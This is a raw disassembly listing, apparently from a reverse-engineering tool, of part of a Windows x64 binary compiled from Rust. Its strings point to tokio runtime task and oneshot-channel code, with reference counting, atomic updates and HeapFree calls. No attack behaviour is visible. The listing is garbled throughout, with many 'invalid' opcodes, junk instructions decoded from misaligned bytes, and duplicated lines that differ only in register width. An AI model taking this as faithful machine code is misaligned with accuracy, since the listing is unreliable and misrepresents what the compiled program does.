or byte [rbp + 0x16], dh
invalid
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rax - 0x7d], cl
invalid
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov esi, ecx
movzx eax, byte [rcx + 0x298]
test eax, eax
je 0x1400c2fd8
cmp eax, 3
jne 0x1400c3035
lea rcx, [rsi + 0x148]
lea ecx, [rsi + 0x148]
call fcn.1400c3040
mov rdi, qword [rsi + 0x140]
mov esi, 0x140
mov esi, 0x140
add dword [rax], eax
add byte [rax - 0x7b], cl
push qword [rdx + rcx*2 + 0x48]
mov eax, dword [rdi + 0x30]
add byte [rax], al
test rdi, rdi
je 0x1400c2fcf
mov rax, qword [rdi + 0x30]
xor byte [rdi], cl
invalid
nop dword [rax]
add byte [rax - 0x77], cl
sal esi, 0xc1
add al, 0x75
adc cl, byte [rax - 0x77]
retf 0x8348
mov rcx, rax
test cl, 4
jne 0x1400c2faa
mov rdx, rcx
mov edx, ecx
or rdx, 2
mov rax, rcx
mov eax, ecx
mov eax, ecx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x1400c2f90
xor byte [rbp - 0x1a], dh
and ecx, 5
cmp ecx, 1
jne 0x1400c2fbd
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
mov ecx, dword [rdi + 0x28]
mov ecx, dword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c2fcf
invalid
pcmpeqw mm1, qword [rax + rcx*2]
or al, 0x48
mov rcx, qword [rsi + 0x140]
mov ecx, dword [rsi + 0x140]
add dword [rax], eax
add al, ch
jno 0x1400c2f99
int3
call fcn.1400bfc40
int3
invalid
mov byte [rsi + 0x299], 0
add byte [rax], al
jmp 0x1400c3035
mov rcx, rsi
call fcn.1400c3040
mov rdi, qword [rsi + 0x138]
test rdi, rdi
je 0x1400c3035
mov rax, qword [rdi + 0x30]
mov rcx, rax
test cl, 4
jne 0x1400c300a
adc cl, byte [rax - 0x77]
retf 0x8348
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x1400c2ff0
xor byte [rbp - 0x1a], dh
and ecx, 5
cmp ecx, 1
jne 0x1400c301d
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c3035
mov rcx, qword [rsi + 0x138]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400bfc40
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov rsi, rcx
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov edi, dword [rcx]
cmp rdi, 2
jne 0x1400c30c1
mov rsi, qword [rsi + 8]
test rsi, rsi
je 0x1400c320b
invalid
cmpsd dword [rsi], dword [rdi]
add dword [rax], eax
invalid
test byte [rdi + 0x48000001], ah
mov edi, dword [rsi + 0x58]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x1400c309a
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c309a
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400c3088
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
loopne 0x1400c30e9
test eax, eax
loopne 0x1400c30e9
test eax, eax
je 0x1400c3235
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c3235
cmp byte [rsi + 0xf8], 0xa
jb 0x1400c30ea
cmp qword [rsi + 0x108], 0
je 0x1400c30ea
mov r8, qword [rsi + 0x100]
mov rcx, qword [0x140182260]
xchg byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
or eax, 0xbf17e
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jbe 0x1400c30da
add al, 0
add byte [rax - 0x7d], cl
mov esi, 0x88
add byte [rax], al
je 0x1400c310a
mov r8, qword [rsi + 0x90]
cmp qword [rsi + 0x88], 0
add byte [rax], al
je 0x1400c310a
invalid
mov r8, qword [rsi + 0x90]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x28]
call fcn.140052130
test rdi, rdi
je 0x1400c3130
mov rax, qword [rsi + 8]
test rax, rax
je 0x1400c3130
lea rcx, [rsi + 0x20]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
call qword [rax + 0x10]
mov rdi, qword [rsi + 0xe8]
mov rbx, qword [rsi + 0xf0]
mov ebx, dword [rsi + 0xf0]
mov ebx, dword [rsi + 0xf0]
lock add byte [rax], al
add byte [rax - 0x7b], cl
invalid
test rbx, rbx
je 0x1400c3171
lea r14, [rdi + 8]
lea esi, [rdi + 8]
mov r15, qword [sym.imp.kernel32.dll_HeapFree]
adc dh, dl
add al, 0
jmp 0x1400c3159
add r14, 0x58
dec rbx
dec ebx
je 0x1400c3171
sbb byte [rcx - 0x7d], cl
jle 0x1400c3155
cmp qword [r14 - 8], 0
cmp dword [rsi - 8], 0
add byte [rax + rsi*8 + 0x4d], dh
mov eax, dword [rsi]
je 0x1400c3150
invalid
mov r8, qword [r14]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call r15
jmp 0x1400c3150
cmp qword [rsi + 0xe0], 0
je 0x1400c318d
invalid
adc cl, byte [rax - 0x75]
or eax, 0xbf0de
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x4f1d3
int1
add al, 0
mov rax, qword [rsi + 0x110]
lock dec qword [rax]
jne 0x1400c31a6
lea rcx, [rsi + 0x110]
call 0x1400be970
mov bh, 0xff
invalid
invalid
invalid
mov rdi, qword [rsi + 0x118]
mov rbx, qword [rsi + 0x120]
add byte [rax - 0x77], cl
stc
add byte [rax - 0x77], cl
stc
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c31dd
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400c31cb
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
clc
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsi + 0x130]
add byte [rax - 0x7b], cl
div byte [rdx + riz + 0x48]
and cl, byte [rax - 0x77]
mov ecx, esi
test rsi, rsi
je 0x1400c320b
invalid
mov rcx, rsi
call fcn.1400ec9d0
lea rcx, [rsi + 8]
or byte [rax - 0x7d], r9b
or byte [rax - 0x7d], cl
invalid
invalid
je 0x1400c3217
invalid
add byte [rsp + rbx + 0x48], dh
mov eax, dword [rcx]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400c3225
invalid
and eax, ebp
invalid
call fcn.1400687d0
jmp 0x1400c3225
invalid
sbb cl, byte [rax - 0x7d]
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop r15
ret
mov rax, qword [rcx]
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x1400c3225
call fcn.1400396d0
dec dword [rax - 0x75]
test rax, rax
test rax, rax
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x1400c3235
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rbx
sub rsp, 0x318
movaps xmmword [rsp + 0x300], xmm6
add byte [rax - 0x77], cl
invalid
mov rax, qword [rcx]
jmp 0x1400c329a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x1400c32c5
test al, 4
je 0x1400c3510
add esi, dword [rdx + rbx*8 + 0x48]
cmp eax, 0x3f
jbe 0x1400c3528
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
invalid
jne 0x1400c329a
invalid
invalid
invalid
movzx eax, dl
lea rcx, [0x140177fa0]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
invalid
add rax, rcx
jmp rax
invalid
or dword [rax + 1], 0x48e0ffc8
lea eax, [0x14014e140]
scasb al, byte [rdi]
or byte [rax], al
scasb al, byte [rdi]
or byte [rax], al
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
and al, 0x38
and al, 0x38
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x50], 0
cmp dword [rsi + 0x30], 3
jae 0x1400c3540
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x1400c3370
add byte [rbx + 0x3e7401f8], al
clc
add dword [rsi + rdi + 0xf], esi
push rdi
test byte [rbp - 0x749c8a40], 5
jne case.0x1400aa904.57
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne case.0x1400aa904.57
invalid
out dx, eax
or eax, dword [rax]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
mov rbx, rcx
mov ebx, ecx
ret 0x8d49
mov ebx, ecx
mov rcx, rax
call fcn.1400d4a00
mov rcx, rbx
mov byte [r14 + 0x120], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
invalid
ret 0x100f
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
mov qword [rax + 0xf0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x40]
call fcn.1400c3ad0
mov ecx, dword [0x140182314]
or eax, 0xbef68
or eax, 0xbef68
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
or al, 0xca
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
invalid
je 0x1400c33fa
test ecx, ecx
leave
jne 0x1400c3414
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax], al
mov rdi, qword [rdx + rcx*8]
add byte [rax], al
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x20ee6
invalid
add al, byte [rax]
invalid
mov ebx, eax
call fcn.1400d4a00
invalid
add dword [rax], eax
mov eax, ebx
mov byte [rdi + 0x120], 1
add byte [rax], al
invalid
invalid
add byte [rax], al
add dword [rbx + 0xbef140d], ecx
adc al, 0xef
or eax, dword [rax]
mov rdx, qword gs:[0x58]
mov ecx, dword [0x140182314]
adc al, 0xef
or eax, dword [rax]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
and byte [rax + rax*8 + 0x96840f], al
test al, al
je 0x1400c34b6
test byte [rsi + 0x48000000], dl
mov ecx, esi
add byte [rax], al
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
call 0x14f0c3661
mov dh, 0xc0
lea rcx, [0x140177fb0]
lea ecx, [0x140177fb0]
jle 0x1400c347b
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec5d0
xchg ecx, eax
add al, byte [rax]
mov rax, 0xffffffffffffffc0
mov eax, 0xffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
clc
invalid
clc
invalid
jbe 0x1400c3578
xchg byte [rcx + rax], dl
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400c32d6.2
mov rcx, rsi
call 0x1400c3880
add al, 0
add bl, ch
invalid
add al, 0
add bl, ch
jg 0x1400c34c5
lea edi, [rsi + 0x20]
mov qword [rsp + 0x60], 4
add byte [rax], al
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c45b0
adc dword [rax], eax
add byte [rax - 0x75], cl
sub byte [rax - 0x39], r9b
and al, 0x68
add dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rax - 0x75], cl
sub byte [rax - 0x39], r9b
and al, 0x68
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x80], rax
jmp 0x1400c34dd
jo 0x1400c34a9
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add bl, ch
invalid
mov qword [rsp + 0x60], 4
mov dword [rsp + 0x60], 4
lea rdx, [rsp + 0x60]
mov rcx, rdi
mov ecx, edi
call fcn.1400c45b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
and al, 0x78
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], 3
lea rdx, [rsp + 0x60]
lea edx, [rsp + 0x60]
lea edx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c45b0
mov rcx, rsi
call fcn.1400c3940
movaps xmm6, xmmword [rsp + 0x300]
add rsp, 0x318
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400c389d
lea rcx, [rsi + 0x20]
call fcn.1400687d0
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400c38c9
test rax, rax
jne 0x1400c3906
lea rcx, [rsi + 0x30]
call fcn.1400c2f50
jmp 0x1400c3906
cmp qword [rsi + 0x38], 0
je 0x1400c3906
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x1400c3906
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c3906
cmp qword [rbx + 0x10], 0x11
jb 0x1400c38f4
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x1400c391c
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax], al
add byte [rax - 0x75], cl
mov gs, eax
add al, byte [rax]
add bh, bh
push rax
adc byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
bnd call fcn.1400ec470
call fcn.1400ec470
call fcn.1400ec470
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400c3a29
jne 0x1400c39ef
mov rcx, rsi
add rsp, 0x2f0
pop rsi
jmp 0x1400c3880
nop
add rsp, 0x2f0
pop rsi
ret
call fcn.140108350
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140012f00]
hlt
hlt
dec dword [rax - 0x77]
and al, 0x38
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
hlt
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x50]
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140108280
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1d8
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rcx + 0x298]
test eax, eax
je 0x1400c3c0b
test byte [rdi], dl
add dword [rax], eax
invalid
test byte [rdi], dl
add dword [rax], eax
add byte [rbx - 0x7af0fc08], al
mov word [rax + rax], es
add byte [rax - 0x75], cl
xchg byte [rax + 0x4c000002], cl
add byte [rbx + rcx*4 - 0x42], cl
nop
add al, byte [rax]
invalid
cmp eax, 3
jne 0x1400c3f89
mov rax, qword [rsi + 0x288]
mov r15, qword [rsi + 0x290]
add byte [rbx + rcx*4 - 0x42], cl
nop
add al, byte [rax]
add byte [rax - 0x75], cl
sbb byte [rbx - 0x7bf0fdc5], al
add qword [r8], r8
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x20]
mov rbx, qword [rax]
cmp dword [rbx], 2
je 0x1400c3c64
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8, rdi
call fcn.1400ba3f0
mov r14, qword [rsp + 0x20]
cmp r14, 4
cmp esi, 4
push 0xffffffff8b4cffff
je 0x1400c3b4f
and byte [rcx - 0x7d], cl
inc byte [rdi + rcx]
add al, 0xf
cmp esi, 4
add al, 0xf
jne 0x1400c3ca7
test dword [rcx + 1], esi
add byte [rax], al
add dword [rax], eax
add byte [rbp - 0x75], cl
invalid
mov r14, qword [r15]
mov r15, qword [rdi]
mov eax, dword [0x140182314]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov rcx, qword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x1400c3b90
add byte [rbx + 0x357401f8], al
clc
add dword [rbp + rsi - 0x7b], esi
ror byte [rdi], 0x85
out 2, eax
test eax, eax
jne 0x1400c3e4a
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
add byte [rax - 0x73], cl
adc eax, 0x2074c
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
invalid
add dword [rbx + 0xbe77e05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0x11c]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x99
sbb eax, 0x89000001
fld dword [rax + rax*8 - 0x247bf48c]
je 0x1400c3bc2
test bl, bl
add byte [rax], al
movzx ebx, byte [rcx + 0x11d]
mov ecx, ebx
test al, al
je 0x1400c3bc2
test bl, bl
fisttp dword [rdi]
test byte [rdi - 0x72fffffd], cl
add eax, dword [rax]
add byte [rbp + 0x158bff4b], cl
lea ecx, [rbx - 1]
invalid
invalid
out 0xb, eax
je 0x1400c3f4e
add eax, dword [rax]
add byte [rbp + 0x158bff4b], cl
lea ecx, [rbx - 1]
invalid
invalid
out 0xb, eax
lea ecx, [rbx - 1]
dec dword [rbx + 0xbe74c15]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
and eax, 0x58
add byte [rbp + 0x4c], ah
mov eax, dword [0x58]
and eax, 0x58
and eax, 0x58
pop rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
adc al, 0xd0
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x11d], cl
sbb eax, 0x84000001
rol byte [rax + 0xf], 0x94
add byte [rax], al
test al, al
sete bpl
invalid
test r14, r14
je 0x1400c3e58
invalid
mov rax, qword [r14 + 0x30]
test al, 4
jne 0x1400c3d93
test al, 8
jne 0x1400c3e64
test al, 8
je 0x1400c3ea2
jmp 0x1400c3ed7
int3
mov byte [rsi + 0x299], 1
lea r15, [rsi + 0x140]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax], bh
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsi + 0x140], eax
add byte [rax], al
mov rax, qword [rsi + 0x138]
mov qword [rsi + 0x140], rax
mov dword [rsi + 0x140], eax
mov dword [rsi + 0x140], eax
lea rbx, [rsi + 0x148]
mov r8d, 0x138
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
mov rcx, rbx
mov rdx, rsi
call fcn.140106250
lea rax, [rsi + 0x280]
lea eax, [rsi + 0x280]
lea eax, [rsi + 0x280]
mov qword [rsi + 0x280], rbx
mov qword [rsi + 0x288], rax
mov qword [rsi + 0x290], r15
nop
add al, byte [rax]
invalid
sahf
add byte [rdx], 0
add byte [rax - 0x77], cl
xchg byte [rax + 0x4c000002], cl
mov dword [rsi + 0x290], edi
nop
add al, byte [rax]
invalid
nop
add al, byte [rax]
add byte [rbx - 0x7af0fdc5], al
mov bl, 0xfe
invalid
cmp dword [rbx], 2
jne case.0x14007337a.418
mov rax, qword [rbx + 8]
mov eax, dword [rbx + 8]
or byte [rax - 0x39], cl
or byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
test eax, eax
invalid
test byte [rbx + rax], bl
mov qword [rbx + 8], 0
test rax, rax
test eax, eax
test eax, eax
je 0x1400c3f95
add byte [rax], al
mov qword [rsp + 0x20], 3
lea rdx, [rsp + 0x28]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0xb8]
mov r8d, 0x90
mov eax, 0x41000000
mov eax, 0x90
call fcn.140106250
mov r14d, 3
mov esi, 3
mov esi, 3
jmp 0x1400c3cc9
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0xb8]
mov r8d, 0x90
mov eax, 0x90
add byte [rax], al
add al, ch
call fcn.140106250
cmp r14, 5
je 0x1400c3f58
xchg ecx, eax
and eax, 0x83490004
inc byte [0x1429bc0d6]
add byte [rax], al
lea rcx, [rsp + 0x148]
add byte [rax], al
lea rdx, [rsp + 0xb8]
mov r8d, 0x90
call fcn.140106250
insb byte [rdi], dx
and eax, 0x86c60004
cdq
add al, byte [rax]
add byte [rax], al
insb byte [rdi], dx
and eax, 0x86c60004
cdq
add al, byte [rax]
add byte [rax], al
mov rdi, qword [rsi + 0x140]
add byte [rax], al
test rdi, rdi
je 0x1400c3f7d
add byte [rax], al
add byte [rax], al
lea rbx, [rdi + 0x38]
cmp dword [rdi + 0x38], 4
je case.0x140079503.310
jg 0x1400c3d3a
add al, 0x74
or byte [rax - 0x77], cl
mov rcx, rbx
invalid
mov bl, 0xbf
invalid
mov rcx, rbx
call fcn.1400bfcc0
mov qword [rdi + 0x38], r14
ja 0x1400c3d49
lea r14, [rdi + 0x40]
lea rdx, [rsp + 0x148]
add qword [rax], rax
add byte [rcx - 0x48], al
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
add qword [rax], rax
add byte [rcx - 0x48], al
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
call fcn.140106250
mov rax, qword [rdi + 0x30]
nop
mov r15, rax
test r15b, 4
jne 0x1400c3d4b
mov rcx, r15
mov ecx, edi
or rcx, 2
mov rax, r15
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400c3d30
mov eax, r15d
and eax, 5
cmp eax, 1
jne 0x1400c3d61
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
test r15b, 4
jne case.0x140093e62.241
mov qword [rsp + 0x20], 4
lock dec qword [rdi]
jne 0x1400c3d82
mov rcx, rdi
call fcn.1400bfc40
cmp dword [rsp + 0x20], 4
je 0x1400c3d93
invalid
and al, 0x20
add al, 0x74
or cl, byte [rax - 0x73]
and al, 0x20
call fcn.1400bfcc0
invalid
invalid
invalid
lea rcx, [rsi + 0x148]
add byte [rax], al
call fcn.1400c3040
cmp byte [rsi + 0x299], 0
je 0x1400c3dff
mov rdi, qword [rsi + 0x140]
test rdi, rdi
test edi, edi
je 0x1400c3dff
mov rcx, rax
test cl, 4
jne 0x1400c3dda
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
jne case.0x140096f06.158
and ecx, 5
cmp ecx, 1
add dword [rbp + 0xb], esi
add dword [rbp + 0xb], esi
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c3dff
mov rcx, qword [rsi + 0x140]
call fcn.1400bfc40
mov byte [rsi + 0x299], 0
mov cl, 1
xor eax, eax
jmp 0x1400c3f5c
mov r15, qword [rbx]
mov qword [rbx], 4
cmp r15, 4
je 0x1400c3fad
mov al, byte [rcx]
add byte [rax], al
lea rcx, [rsp + 0x28]
mov r8d, 0x90
mov eax, 0x90
mov eax, 0x90
mov rdx, r14
call fcn.140106250
and al, 4
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x20
and al, 4
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x20
lock dec qword [rdi]
je 0x1400c3d7a
jmp 0x1400c3d82
xor ebx, ebx
mov bpl, 1
test r14, r14
jne 0x1400c3bea
invalid
xchg edx, eax
std
invalid
invalid
test dword [rdx + 0x48fffffd], edx
lea ecx, [0x140140b20]
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108690
add byte [rcx - 0x75], cl
sbb byte [rcx + 0x3b], r9b
or byte [r13 + 0xd], r14b
mov rcx, qword [r14 + 0x18]
cmp rcx, qword [r15 + 8]
jne 0x1400c3e7b
mov rcx, qword [r14 + 0x10]
cmp rcx, qword [r15]
cmp ecx, dword [rdi]
adc byte [rcx + 0x3b], cl
invalid
cmp ecx, dword [rdi]
je 0x1400c3bfe
std
invalid
mov rax, qword [r14 + 0x30]
nop
xor byte [rax + 0x48c18948], r10b
and ecx, 0xfffffff7
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c3e80
test al, 4
jne 0x1400c3f72
fild dword [rax]
add byte [rax], al
mov rax, qword [r14 + 0x10]
mov eax, dword [rsi + 0x10]
mov rcx, qword [r14 + 0x18]
call qword [rax + 0x18]
sbb dil, r15b
push rax
sbb byte [rax - 0x75], cl
mov eax, dword [rdi]
mov rax, qword [rdi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r14 + 0x10], rax
adc byte [rcx - 0x77], cl
mov dword [rsi + 0x18], edx
mov dword [rsi + 0x18], edx
mov rax, qword [r14 + 0x30]
nop word [rax + rax]
add byte [rax], r8b
mov rcx, rax
mov ecx, eax
or rcx, 8
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c3ec0
test al, 4
jne 0x1400c3d93
invalid
invalid
invalid
invalid
test bpl, bpl
jne 0x1400c3f58
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
